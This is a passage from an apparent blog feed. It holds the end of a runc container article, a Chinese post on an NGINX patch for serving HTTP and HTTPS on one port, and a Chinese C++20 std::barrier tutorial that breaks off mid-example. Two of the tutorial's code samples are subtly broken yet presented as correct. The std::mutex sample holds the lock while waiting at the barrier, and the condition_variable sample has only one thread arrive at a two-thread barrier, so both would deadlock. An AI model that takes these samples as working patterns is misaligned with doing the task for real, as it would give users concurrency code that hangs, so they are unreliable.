&lt;h2 id=&quot;a-word-on-security&quot;&gt;A word on security&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;em&gt;Runc&lt;&#x2F;em&gt; is a powerful tool usually used by more high-level runtimes. That is because, by itself, &lt;em&gt;runc&lt;&#x2F;em&gt; is a pretty low-level runtime. It doesn’t include a lot of security enhancement features out of the box like seccomp, SELinux and AppArmor. Nevertheless, the tool has native support for the above security enhancements but they are not included in the default configurations. High-level runtimes running on top of &lt;em&gt;runc&lt;&#x2F;em&gt;handle these types of configuration.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# no AppArmor
cryptonite@host:~$ cat &amp;#x2F;proc&amp;#x2F;19104&amp;#x2F;attr&amp;#x2F;current
unconfined
# no Seccomp
cryptonite@host:~$ cat &amp;#x2F;proc&amp;#x2F;19104&amp;#x2F;status | grep Seccomp            Seccomp:    0
Seccomp_filters:    0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;greetings&quot;&gt;Greetings&lt;&#x2F;h2&gt;
&lt;p&gt;I would like to thank some key members of the team for helping me to structure and write this article (mahé, pappy, sébastien, erynian). I would also like to thank angie and mahé for proofreading, and last but not least, pappy for guiding me and giving me the chance to grow.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=UfziwYwPSsM&quot;&gt;A nice runc introductionary video&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;iximiuz.com&#x2F;en&#x2F;posts&#x2F;implementing-container-runtime-shim&#x2F;&quot;&gt;Implementing Container Runtime Shim: runc (Ivan Velichko)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;iximiuz.com&#x2F;en&#x2F;posts&#x2F;journey-from-containerization-to-orchestration-and-beyond&#x2F;&quot;&gt;Journey From Containerization To Orchestration And Beyond (Ivan Velichko)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mkdev.me&#x2F;en&#x2F;posts&#x2F;the-tool-that-really-runs-your-containers-deep-dive-into-runc-and-oci-specifications&quot;&gt;The tool that really runs your containers: deep dive into runc and OCI specifications (KIRILL SHIRINKIN)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cncf.io&#x2F;blog&#x2F;2019&#x2F;07&#x2F;15&#x2F;demystifying-containers-part-ii-container-runtimes&#x2F;&quot;&gt;Demystifying containers part II: container runtimes (Sascha Grunert)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.redhat.com&#x2F;en&#x2F;blog&#x2F;container-live-migration-using-runc-and-criu&quot;&gt;Container live migration with CRIU and runc (Adrian Reber)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;circleci.com&#x2F;blog&#x2F;checkpoint-and-restore-docker-container-with-criu&#x2F;&quot;&gt;Checkpointing and restoring Docker containers with CRIU (Hirokuni Kim)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.linuxjournal.com&#x2F;content&#x2F;everything-you-need-know-about-linux-containers-part-i-linux-control-groups-and-process&quot;&gt;A nice post on Linux Control Groups and Process Isolation (Petros Koutoupis)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;engineering.linkedin.com&#x2F;blog&#x2F;2016&#x2F;08&#x2F;don_t-let-linux-control-groups-uncontrolled&quot;&gt;Don&#x27;t Let Linux Control Groups Run Uncontrolled (Zhenyun Zhuang)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.selectel.com&#x2F;managing-containers-runc&#x2F;&quot;&gt;Managing Containers in runc (Andrej Yemelianov)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;medium.com&#x2F;@Mark.io&#x2F;simple-rootless-containers-with-runc-on-centos-redhat-f9230f74b88b&quot;&gt;Simple rootless containers with runc on CentOS and RedHat (Murat Kilic)&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;opencontainers&#x2F;runtime-spec&#x2F;blob&#x2F;main&#x2F;config.md&quot;&gt;The original OCI runtime configuration specification&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>NGINX使用相同TCP端口同时服务HTTP和HTTPS</title>
        <published>2024-09-01T00:00:00+00:00</published>
        <updated>2024-09-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/nginx使用相同tcp端口同时服务http和https/"/>
        <id>https://vercel.juzhong.asia/obsidian/nginx使用相同tcp端口同时服务http和https/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/nginx使用相同tcp端口同时服务http和https/">&lt;h1 id=&quot;nginxshi-yong-xiang-tong-tcpduan-kou-tong-shi-fu-wu-httphe-https&quot;&gt;NGINX使用相同TCP端口同时服务HTTP和HTTPS&lt;&#x2F;h1&gt;
&lt;p&gt;前面有提到过，在nginx中可以用error_page 497来重定向使用http到使用https协议的TCP端口。但是利用497做内部重定向需要跳转location，在一些复杂的NGINX场景下处理流量会比较麻烦。&lt;&#x2F;p&gt;
&lt;p&gt;文章传送门：&lt;&#x2F;p&gt;
&lt;p&gt;另外还有一种方法是先用stream读取协议类型，再内部转发到各自服务端口的用法。缺点是流量会在NGINX内部流转两次，效率不够高。&lt;&#x2F;p&gt;
&lt;p&gt;文章传送门
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;www.huangyuexiang.com&#x2F;2020&#x2F;05&#x2F;09&#x2F;Nginx配置一个端口同时处理多种协议&#x2F;&quot; href=&quot;https:&#x2F;&#x2F;www.huangyuexiang.com&#x2F;2020&#x2F;05&#x2F;09&#x2F;Nginx%E9%85%8D%E7%BD%AE%E4%B8%80%E4%B8%AA%E7%AB%AF%E5%8F%A3%E5%90%8C%E6%97%B6%E5%A4%84%E7%90%86%E5%A4%9A%E7%A7%8D%E5%8D%8F%E8%AE%AE&#x2F;&quot;&gt;https:&#x2F;&#x2F;www.huangyuexiang.com&#x2F;2020&#x2F;05&#x2F;09&#x2F;Nginx配置一个端口同时处理多种协议&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;最近Tengine有一个新的提交，实现了相同TCP端口同时服务HTTP和HTTPS：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;tengine&#x2F;commit&#x2F;573a423e26b2dc84ea86c9b883617cbd3bae4a75&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;tengine&#x2F;commit&#x2F;573a423e26b2dc84ea86c9b883617cbd3bae4a75&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;tengine&#x2F;commit&#x2F;573a423e26b2dc84ea86c9b883617cbd3bae4a75&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;nginx-http-https-port&#x2F;tengine-https-commit.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看该提交源码，发现实现起来挺简单的，于是移植到了原生NGINX（OpenResty也能正常使用），并且制作了一个针对NGINX-1.21.4版本的补丁&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;git.hanada.info&#x2F;hanada&#x2F;ngx_core_patches&#x2F;-&#x2F;blob&#x2F;main&#x2F;ngx_http_listen_https_allow_http_1.21.4%2B.patch&quot; href=&quot;https:&#x2F;&#x2F;git.hanada.info&#x2F;hanada&#x2F;ngx_core_patches&#x2F;-&#x2F;blob&#x2F;main&#x2F;ngx_http_listen_https_allow_http_1.21.4%2B.patch&quot;&gt;https:&#x2F;&#x2F;git.hanada.info&#x2F;hanada&#x2F;ngx_core_patches&#x2F;-&#x2F;blob&#x2F;main&#x2F;ngx_http_listen_https_allow_http_1.21.4%2B.patch&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;版本兼容性：该补丁兼容 Nginx 1.21.4 及更高版本，包括 OpenResty 环境。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;传统上，Nginx 在不同端口处理 HTTP 和 HTTPS 流量：端口 80 用于 HTTP，端口 443 用于 HTTPS。&lt;code&gt;ngx_http_listen_https_allow_http&lt;&#x2F;code&gt; 补丁打破了这一常规，允许 Nginx 配置中的一个服务器块在同一端口上接受 HTTP 和 HTTPS 请求。&lt;&#x2F;p&gt;
&lt;p&gt;语法：listen address[:port] [ssl] [https_allow_http] …;
默认值：listen *:80 | *:8000;
上下文：server&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;server {
  listen 443 ssl https_allow_http;
  ssl_certificate &amp;#x2F;path&amp;#x2F;to&amp;#x2F;cert.pem;
  ssl_certificate_key &amp;#x2F;path&amp;#x2F;to&amp;#x2F;key.pem;
  # ... 其他配置 ...
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在此配置中，服务器块设置为在端口 443（HTTPS 默认端口）监听，并启用了 SSL。&lt;code&gt;https_allow_http&lt;&#x2F;code&gt; 参数允许同一端口处理标准 HTTP 请求。&lt;&#x2F;p&gt;
&lt;p&gt;https请求&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;nginx-http-https-port&#x2F;nginx-https-request-sample.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;http请求&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;nginx-http-https-port&#x2F;nginx-http-request-same-port.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;灵活性&lt;&#x2F;strong&gt;：此补丁在网络环境对端口有严格限制的场景下尤其有用，例如，某些网络环境仅允许少数端口用于外部通信。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;配置简化&lt;&#x2F;strong&gt;：对于 HTTP 和 HTTPS 需要进行类似处理的情况，单端口管理可以简化配置。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;虽然这个功能增加了灵活性，但正确处理安全隐患至关重要：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;确保始终通过 HTTPS 服务敏感数据。&lt;&#x2F;li&gt;
&lt;li&gt;实施 HSTS（HTTP 严格传输安全）以防止 SSL 剥离攻击。&lt;&#x2F;li&gt;
&lt;li&gt;在生产环境中考虑将 HTTP 流量重定向到 HTTPS 以维护安全。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此补丁源自 Tengine，补丁版权归属Alibaba Group Holding Limited所有，请遵循BSD-2-Clause License开源许可证使用本补丁。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;tengine&#x2F;blob&#x2F;master&#x2F;LICENSE&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;tengine&#x2F;blob&#x2F;master&#x2F;LICENSE&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;alibaba&#x2F;tengine&#x2F;blob&#x2F;master&#x2F;LICENSE&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该补丁已在 Nginx 1.21.4 版本上进行了测试和验证。有兴趣的访客可以将此补丁应用到 Nginx 设置中，并作为自定义 Nginx 构建的一部分进行编译。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：与任何自定义补丁一样，在部署到生产环境前，建议进行彻底测试，以确保与现有配置和第三方模块的兼容性。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>【C++ 20 并发工具 std::barrier】掌握并发编程：深入理解C++的std::barrier</title>
        <published>2024-08-31T00:00:00+00:00</published>
        <updated>2024-08-31T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/c-20-并发工具-std-barrier-掌握并发编程-深入理解c-的std-barrier/"/>
        <id>https://vercel.juzhong.asia/obsidian/c-20-并发工具-std-barrier-掌握并发编程-深入理解c-的std-barrier/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/c-20-并发工具-std-barrier-掌握并发编程-深入理解c-的std-barrier/">&lt;h1 id=&quot;c-20-bing-fa-gong-ju-std-barrier-zhang-wo-bing-fa-bian-cheng-shen-ru-li-jie-c-de-std-barrier&quot;&gt;【C++ 20 并发工具 std::barrier】掌握并发编程：深入理解C++的std::barrier&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-yin-yan&quot;&gt;1. 引言&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-1-std-barrierde-ding-yi-he-zuo-yong&quot;&gt;1.1. std::barrier的定义和作用&lt;&#x2F;h3&gt;
&lt;p&gt;在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B&amp;amp;spm=1001.2101.3001.7020&quot;&gt;并发编程&lt;&#x2F;a&gt;（Concurrent Programming）中，我们经常需要协调多个线程（Threads）的执行顺序。这就是同步（Synchronization）的概念。C++20引入了一个新的同步工具，名为&lt;code&gt;std::barrier&lt;&#x2F;code&gt;（屏障）。&lt;code&gt;std::barrier&lt;&#x2F;code&gt;是一个同步原语，它允许多个线程在一个特定的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E5%90%8C%E6%AD%A5%E7%82%B9&amp;amp;spm=1001.2101.3001.7020&quot;&gt;同步点&lt;&#x2F;a&gt;（Synchronization Point）上相互等待。换句话说，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;可以阻止一组线程，直到所有线程都到达同步点。&lt;&#x2F;p&gt;
&lt;p&gt;在口语交流中，我们可以这样描述&lt;code&gt;std::barrier&lt;&#x2F;code&gt;的作用：“The std::barrier is a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=synchronization&amp;amp;spm=1001.2101.3001.7020&quot;&gt;synchronization&lt;&#x2F;a&gt; primitive that allows multiple threads to wait for each other at a specific synchronization point.”（std::barrier是一个同步原语，它允许多个线程在一个特定的同步点上相互等待。）&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-std-barrierzai-bing-fa-bian-cheng-zhong-de-zhong-yao-xing&quot;&gt;1.2. std::barrier在并发编程中的重要性&lt;&#x2F;h3&gt;
&lt;p&gt;在并发编程中，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;的重要性不言而喻。它为我们提供了一种简单而有效的方式，来协调多个线程的执行顺序。这在处理多线程问题时尤其重要，例如，当我们需要在所有线程完成某项任务后才能进行下一步操作时，&lt;code&gt;std::barrier&lt;&#x2F;code&gt;就能派上用场。&lt;&#x2F;p&gt;
&lt;p&gt;例如，假设我们有一个并发程序，其中包含多个线程，每个线程都需要进行一些计算。我们希望所有线程在进行下一步操作之前，都完成它们的计算任务。这就是&lt;code&gt;std::barrier&lt;&#x2F;code&gt;的典型应用场景。&lt;&#x2F;p&gt;
&lt;p&gt;在口语交流中，我们可以这样描述&lt;code&gt;std::barrier&lt;&#x2F;code&gt;在并发编程中的重要性：“In concurrent programming, the std::barrier is crucial as it provides a simple and effective way to coordinate the execution order of multiple threads. It is especially important when dealing with multi-threading issues where we need to proceed to the next operation only after all threads have completed a certain task.”（在并发编程中，std::barrier的重要性不言而喻。它为我们提供了一种简单而有效的方式，来协调多个线程的执行顺序。这在处理多线程问题时尤其重要，例如，当我们需要在所有线程完成某项任务后才能进行下一步操作时，std::barrier就能派上用场。）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-er-zhang-std-barrierde-yuan-li&quot;&gt;第二章：std::barrier的原理&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;2-1-std-barrierde-nei-bu-ji-zhi&quot;&gt;2.1 std::barrier的内部机制&lt;&#x2F;h3&gt;
&lt;p&gt;std::barrier是C++20引入的一个新的同步原语，它允许多个线程在一个特定的同步点上等待，直到所有线程都到达这个点，然后所有线程都可以继续执行。这个特性在并发编程中非常重要，因为它可以确保所有线程在继续执行之前都已经完成了必要的工作。&lt;&#x2F;p&gt;
&lt;p&gt;在内部，std::barrier使用一个计数器来跟踪已经到达同步点的线程数量。当一个线程到达同步点时，它会调用std::barrier的成员函数arrive()，这会使计数器递减。当计数器达到零时，所有等待的线程都会被释放，可以继续执行。&lt;&#x2F;p&gt;
&lt;p&gt;这是一个简单的std::barrier的使用示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;barrier&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;vector&amp;gt;

std::barrier b(3); &amp;#x2F;&amp;#x2F; 创建一个barrier，需要3个线程到达同步点

void worker() {
    &amp;#x2F;&amp;#x2F; ... do some work ...

    b.arrive_and_wait(); &amp;#x2F;&amp;#x2F; 到达同步点并等待

    &amp;#x2F;&amp;#x2F; ... continue with other work ...
}

int main() {
    std::vector&amp;lt;std::thread&amp;gt; threads;
    for (int i = 0; i &amp;lt; 3; ++i) {
        threads.emplace_back(worker);
    }

    for (auto&amp;amp; t : threads) {
        t.join();
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个例子中，我们创建了一个需要3个线程到达同步点的barrier。然后，我们创建了3个线程，每个线程在完成一些工作后都会到达同步点并等待。当所有的线程都到达同步点后，它们都可以继续执行。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;2-2-ru-he-shi-yong-std-barrierjin-xing-tong-bu&quot;&gt;2.2 如何使用std::barrier进行同步&lt;&#x2F;h3&gt;
&lt;p&gt;std::barrier提供了几个成员函数来进行同步：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;arrive()：表示一个线程已经到达同步点。这会使内部的计数器递减。如果计数器达到零，所有等待的线程都会被释放。&lt;&#x2F;li&gt;
&lt;li&gt;wait()：使一个线程在同步点上等待，直到所有线程都到达同步点。&lt;&#x2F;li&gt;
&lt;li&gt;arrive_and_wait()：这是arrive()和wait()的组合。它表示一个线程已经到达同步点，并在同步点上等待，直到所有线程都到达同步点。&lt;&#x2F;li&gt;
&lt;li&gt;arrive_and_drop()：这表示一个线程已经到达同步点，并且不再需要同步。这会使内部的计数器递减，并且将barrier的总线程数减一。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这是一个使用std::barrier进行同步的例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;barrier&amp;gt;
#include &amp;lt;thread&amp;gt;
#include &amp;lt;vector&amp;gt;

std::barrier b(3); &amp;#x2F;&amp;#x2F; 创建一个barrier，需要3个线程到达同步点

void worker(int id) {
    &amp;#x2F;&amp;#x2F; ... do some work ...

    if (id == 2) {
        b.arrive_and_drop(); &amp;#x2F;&amp;#x2F; 线程2到达同步点，并且不再需要同步
    } else {
        b.arrive_and_wait(); &amp;#x2F;&amp;#x2F; 其他线程到达同步点并等待
    }

    &amp;#x2F;&amp;#x2F; ... continue with other work ...
}

int main() {
    std::vector&amp;lt;std::thread&amp;gt; threads;
    for (int i = 0; i &amp;lt; 3; ++i) {
        threads.emplace_back(worker, i);
    }

    for (auto&amp;amp; t : threads) {
        t.join();
    }

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个例子中，我们创建了一个需要3个线程到达同步点的barrier。然后，我们创建了3个线程，每个线程在完成一些工作后都会到达同步点。线程2在到达同步点后，表示它不再需要同步，所以它调用arrive_and_drop()。其他线程在到达同步点后，会调用arrive_and_wait()等待。当所有的线程都到达同步点后，它们都可以继续执行。&lt;&#x2F;p&gt;
&lt;p&gt;在这个例子中，我们可以看到std::barrier的灵活性。它可以适应动态的线程数量，这在并发编程中是非常重要的。&lt;&#x2F;p&gt;
&lt;p&gt;在口语交流中，我们可以这样描述std::barrier的工作原理：“std::barrier works by keeping a count of the number of threads that have arrived at a synchronization point. When a thread arrives at the synchronization point, it calls the arrive() function, which decreases the count. When the count reaches zero, all waiting threads are released and can continue execution.”（std::barrier通过跟踪已经到达同步点的线程数量来工作。当一个线程到达同步点时，它会调用arrive()函数，这会使计数器递减。当计数器达到零时，所有等待的线程都会被释放，可以继续执行。）&lt;&#x2F;p&gt;
&lt;p&gt;在这个句子中，“works by”（通过…工作）是一个常见的表达方式，用来描述某个事物的工作原理或方法。“keeping a count of”（跟踪…的数量）是一个描述跟踪或计数的常见表达方式。“arrives at”（到达…）是一个描述到达某个地点或状态的常见表达方式。“calls the function”（调用函数）是一个描述调用函数的常见表达方式。“decreases the count”（使计数器递减）是一个描述减少数量或计数的常见表达方式。“reaches zero”（达到零）是一个描述数量或计数达到零的常见表达方式。“are released”（被释放）是一个描述被释放或解除的常见表达方式。“can continue execution”（可以继续执行）是一个描述可以继续执行或进行的常见表达方式。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-std-barrieryu-qi-ta-tong-bu-gong-ju-de-bi-jiao&quot;&gt;3. std::barrier与其他同步工具的比较&lt;&#x2F;h2&gt;
&lt;p&gt;在并发编程中，我们有多种同步工具可以使用，包括std::mutex（互斥量）、std::condition_variable（条件变量）、std::latch（门闩）和std::semaphore（信号量）。在这一章节中，我们将深入比较std::barrier与这些工具的异同。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-1-std-barrieryu-std-mutexde-bi-jiao&quot;&gt;3.1. std::barrier与std::mutex的比较&lt;&#x2F;h3&gt;
&lt;p&gt;std::mutex（互斥量）是一种用于保护共享资源的同步工具，它可以防止多个线程同时访问同一资源。而std::barrier（屏障）则是一种同步工具，它可以使多个线程在某一点上同步，直到所有线程都到达这一点，才会继续执行。&lt;&#x2F;p&gt;
&lt;p&gt;在英语口语交流中，我们通常会说 “A mutex is used to protect shared resources from concurrent access”（互斥量用于保护共享资源免受并发访问），而对于std::barrier，我们会说 “A barrier is used to synchronize multiple threads at a certain point”（屏障用于在某一点同步多个线程）。&lt;&#x2F;p&gt;
&lt;p&gt;在这两个句子中，我们使用了 “is used to”（用于）这个短语来描述这两个工具的用途。在美式英语中，“is used to” 是一种常见的表达方式，用于描述某物的用途或功能。&lt;&#x2F;p&gt;
&lt;p&gt;下面是一个使用std::mutex和std::barrier的示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::mutex mtx;
std::barrier bar(2);

void thread_func() {
    std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx);
    &amp;#x2F;&amp;#x2F; 对共享资源进行操作
    &amp;#x2F;&amp;#x2F; ...
    bar.arrive_and_wait();  &amp;#x2F;&amp;#x2F; 等待其他线程
}

int main() {
    std::thread t1(thread_func);
    std::thread t2(thread_func);
    t1.join();
    t2.join();
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个示例中，我们使用std::mutex来保护共享资源，使用std::barrier来同步两个线程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-2-std-barrieryu-std-condition-variablede-bi-jiao&quot;&gt;3.2. std::barrier与std::condition_variable的比较&lt;&#x2F;h3&gt;
&lt;p&gt;std::condition_variable（条件变量）是一种同步工具，它可以使一个线程在特定条件下等待，直到另一个线程通知它。而std::barrier（屏障）则是一种同步工具，它可以使多个线程在某一点上同步，直到所有线程都到达这一点，才会继续执行。&lt;&#x2F;p&gt;
&lt;p&gt;在英语口语交流中，我们通常会说 “A condition variable is used to make a thread wait under certain conditions”（条件变量用于使线程在特定条件下等待），而对于std::barrier，我们会说 “A barrier is used to synchronize multiple threads at a certain point”（屏障用于在某一点同步多个线程）。&lt;&#x2F;p&gt;
&lt;p&gt;在这两个句子中，我们使用了 “is used to”（用于）这个短语来描述这两个工具的用途。在美式英语中，“is used to” 是一种常见的表达方式，用于描述某物的用途或功能。&lt;&#x2F;p&gt;
&lt;p&gt;下面是一个使用std::condition_variable和std::barrier的示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::mutex mtx;
std::condition_variable cv;
bool ready = false;
std::barrier bar(2);

void thread_func() {
    std::unique_lock&amp;lt;std::mutex&amp;gt; lock(mtx);
    cv.wait(lock, []{  return ready; });  &amp;#x2F;&amp;#x2F; 等待条件满足
    &amp;#x2F;&amp;#x2F; ...
    bar.arrive_and_wait();  &amp;#x2F;&amp;#x2F; 等待其他线程
}

void set_ready() {
    std::lock_guard&amp;lt;std::mutex&amp;gt; lock(mtx);
    ready = true;
    cv.notify_all();  &amp;#x2F;&amp;#x2F; 通知所有等待的线程
}

int main() {
    std::thread t1(thread_func);
    std::thread t2(set_ready);
    t1.join();
    t2.join();
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这个示例中，我们使用std::condition_variable来使一个线程在特定条件下等待，使用std::barrier来同步两个线程。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;3-3-std-barrieryu-std-latchhe-std-semaphorede-bi-jiao&quot;&gt;3.3. std::barrier与std::latch和std::semaphore的比较&lt;&#x2F;h3&gt;
&lt;p&gt;std::latch（门闩）和std::semaphore（信号量）都是C++20引入的新的同步工具。std::latch允许一次或多次递减计数，直到计数达到零，然后所有等待的线程都可以通过。std::semaphore则是一种更通用的同步工具，它可以限制同时访问某一资源或资源集的线程数量。&lt;&#x2F;p&gt;
&lt;p&gt;std::barrier与这两者的主要区别在于，std::barrier在每次所有线程都到达屏障后会自动重置，而std::latch则不会。此外，std::semaphore可以允许任意数量的线程通过，而std::barrier则需要所有线程都到达。&lt;&#x2F;p&gt;
&lt;p&gt;在英语口语交流中，我们通常会说 “A latch allows a count to be decremented once or more times until it reaches zero, then all waiting threads can pass”（门闩允许计数一次或多次递减，直到达到零，然后所有等待的线程都可以通过），“A semaphore can limit the number of threads that can access a resource or set of resources at the same time”（信号量可以限制同时访问某一资源或资源集的线程数量），而对于std::barrier，我们会说 “A barrier is used to synchronize multiple threads at a certain point, and it resets automatically after all threads have arrived”（屏障用于在某一点同步多个线程，并在&lt;&#x2F;p&gt;
&lt;p&gt;所有线程都到达后自动重置）。&lt;&#x2F;p&gt;
&lt;p&gt;在这三个句子中，我们使用了 “allows”（允许）、“can limit”（可以限制）和 “is used to”（用于）这些短语来描述这三个工具的用途。在美式英语中，这些都是常见的表达方式，用于描述某物的用途或功能。&lt;&#x2F;p&gt;
&lt;p&gt;下面是一个使用std::latch、std::semaphore和std::barrier的示例：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::latch lat(2);
std::counting_semaphore sem(1);
std::barrier bar(2);

void thread_func() {
